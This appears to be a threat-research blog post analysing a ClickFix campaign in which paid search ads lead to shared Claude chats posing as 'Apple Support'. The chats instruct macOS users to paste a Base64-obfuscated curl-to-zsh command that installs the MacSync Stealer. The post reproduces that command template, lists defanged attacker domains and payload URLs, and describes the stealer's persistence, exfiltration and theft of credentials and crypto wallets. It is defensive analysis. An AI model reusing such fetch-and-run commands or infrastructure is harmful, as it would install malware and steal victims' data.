The Zscaler Threat Hunting team observed multiple stages in this ClickFix attack chain.
The victim searches for a term such as “claude download” in a search engine and sees a paid ad in the results that points to a shared Claude chat link. From the start, the use of the official Claude domain adds legitimacy to the search result. The victim clicks on the paid ad and is redirected to a shared Claude chat, as shown in the figure below.
.jpg)
Figure 1: MacSync Stealer ClickFix instructions hosted in a shared Claude chat.
Aside from the hosting platform itself being legitimate, threat actors also crafted the content to appear authentic. The chat is labeled “Shared by Apple Support” in the top right corner. The threat actors likely achieved this by setting their Claude display name as “Apple Support,” causing this label to appear when the shareable link is generated.
The installation command the victim is instructed to run is a curl command with the destination URL obfuscated using Base64 encoding. The command typically follows the format:
curl -kfsSL $(echo '[base64_string]'|base64 -D)|zsh The Base64-encoded string usually decodes to a URL in the format http://[domain]/curl/[a-f0-9]{64}$, which serves as the first stage of the MacSync Stealer infection. A curl request to this URL returns a Z shell (zsh) script, which is then piped directly to zsh, as specified at the end of the installation command.
An example of the MacSync Stealer staging URL is the following:
http://lasvegaslaminateflooring[.]com/curl/0e17984a73d0b1c9c7c3916d32c49c8937f2e42d4c72c543c82999463a507abbThe zsh script returned from this URL contains a blob that is first Base64-decoded then decompressed using gzip to reveal a second-stage script. This second-stage script is executed in the terminal using the eval command shown at the end of the figure below.
.jpg)
Figure 2: Example Zsh script returned by the example first-stage URL distributing MacSync Stealer.
Functionally, this second-stage zsh script first redirects all output to /dev/null, essentially hiding all visible indications of execution. Next, the script downloads the third stage of MacSync Stealer, which contains the core stealing functionality, from a URL in the format $domain/dynamic?txd=$token, using the HTTP header api-key: $api_key (the values of $domain, $token, and $api_key are hardcoded in the script). The downloaded content is then piped directly to osascript, leaving no file trace on the affected system.
Finally, the second-stage zsh script checks for the presence of a file named /tmp/osalogging.zip, which is expected to contain the sensitive information collected from the affected system. If the file exists and is non-zero in size, the script exfiltrates the collected data in 10MB chunks via HTTP PUT requests to a URL in the format:
$domain/gate?buildtxd=$token&upload_id=$upload_id&chunk_index=$i&total_chunks=$total_chunks In this scheme, $domain and $token are hardcoded in the script, $upload_id is generated per system based on the date and a randomly generated number, $total_chunks is calculated by dividing the file size by 10MB, and $i is set by the loop counter as each chunk is sent. The script retries each chunk upload up to eight times if the upload fails.
After exfiltration is completed, the script deletes /tmp/osalogging.zip from the system, thereby leaving no trace of MacSync Stealer on the system.
The third stage of the malware containing the core stealing functionality has the following capabilities:
Tries to access ~/Library/Cookies/, likely to gauge the access level at which the script is running. If access fails,
~/.zshrc to append a curl command that downloads the MacSync second-stage script and pipes the output to zsh. The command has the same format as the command pasted and run by the user in the first stage. This functionality implements persistence ensuring the second-stage script is downloaded and executed each time the terminal is opened. If access is successful, the script removes the curl command implementing persistence from ~/.zshrc and continues with the steps below.
/tmp/macsync_0e17984a73d0b1c9c7c3916d32c49c8937f2e42d4c72c543c82999463a507abb.lock which serves as a lock file indicating the information stealer is running./tmp/sync[randomNumber] with the capabilities described in the table below: Category | Capability |
|---|---|
Credential access | Copies all keychain files ( |
Copies files from the folders | |
Copies browser files from Gecko-based browsers that may contain credentials ( | |
Searches for known browser extensions used as password managers in Chromium-based browsers and copies relevant local files into an | |
Discovery | Performs system discovery and populates a file called |
Gathers information about running processes and writes the results to | |
Collection | Copies shell configuration and history files ( |
Copies Telegram application files from | |
Gathers files from selected directories ( | |
Cryptocurrency Chrome extension enumeration & collection | Searches for known Chromium extensions associated with cryptocurrency wallets and copies relevant local files into a |
Cryptocurrency desktop wallet application enumeration & collection | Copies entire folders corresponding to popular desktop cryptocurrency wallet applications into the |
Table 1: MacSync Stealer data theft capabilities.
/tmp/sync[randomNumber] is compressed into /tmp/osalogging.zip, which is then exfiltrated as described in the previous stage. After creating the archive, MacSync Stealer deletes the /tmp/sync* directory and removes the lock directory.Finally, MacSync Stealer attempts to download three additional payloads if the applications Ledger Wallet, Ledger Live, and Trezor Suite respectively are present on the affected system from the following URLs:
lasvegaslaminateflooring[.]com/ledger/0e17984a73d0b1c9c7c3916d32c49c8937f2e42d4c72c543c82999463a507abblasvegaslaminateflooring[.]com/ledger/live/0e17984a73d0b1c9c7c3916d32c49c8937f2e42d4c72c543c82999463a507abblasvegaslaminateflooring[.]com/trezor/0e17984a73d0b1c9c7c3916d32c49c8937f2e42d4c72c543c82999463a507abbThese payloads could not be retrieved at the time of analysis, but they are likely trojanized versions of the aforementioned applications.
Since Zscaler Threat Hunting analyzes Zscaler Internet Access (ZIA) logs across customers, we were able to obtain broader visibility into the scope of this campaign. This campaign appears to have been short-lived, running from June 12–19, 2026. Based on the UTM parameters observed in the traffic, we determined the following:
Zscaler Threat Hunting observed the malicious domains used in these ClickFix / MacSync Stealer campaigns adopted themes related to local services in U.S. cities. The list below shows a subset of domains following this pattern (a complete list is provided in the IOCs section at the end of this blog post):
realtorsmichigan[.]comcentralfloridapowerwash[.]comsyracusefertilitycenter[.]comdogtrainersgeorgia[.]comlasvegaslaminateflooring[.]commoldinspectiondayton[.]comnewjerseypetsitter[.]commiamipcsupport[.]comlifecoachrochester[.]comcabinrentalsnc[.]comfloridavacationvillarental[.]comlasvegasweddingreception[.]comdallasirrigationservices[.]comtoledotreeservices[.]comhomeinspectionsdelaware[.]comchicagometalscrap[.]comWe also observed Russian-language comments in the third-stage AppleScript payload, suggesting the threat actor behind these attacks is likely Russian-speaking. The table below shows examples of these comments and their translation:
Russian-Language Comment | Translation |
|---|---|
-- Простое копирование всех важных файлов (включая WAL/SHM) | -- Easily copy all important files (including WAL/SHM) |
-- Убрана хрупкая SafeSQLiteCopy (часто падала когда Firefox запущен) | -- Removed fragile SafeSQLiteCopy (frequently crashed when Firefox was running) |
Table 2: Russian-language comments and their corresponding translations.
此内容由惯性聚合(RSS阅读器)自动聚合整理，仅供阅读参考。 原文来自 — 版权归原作者所有。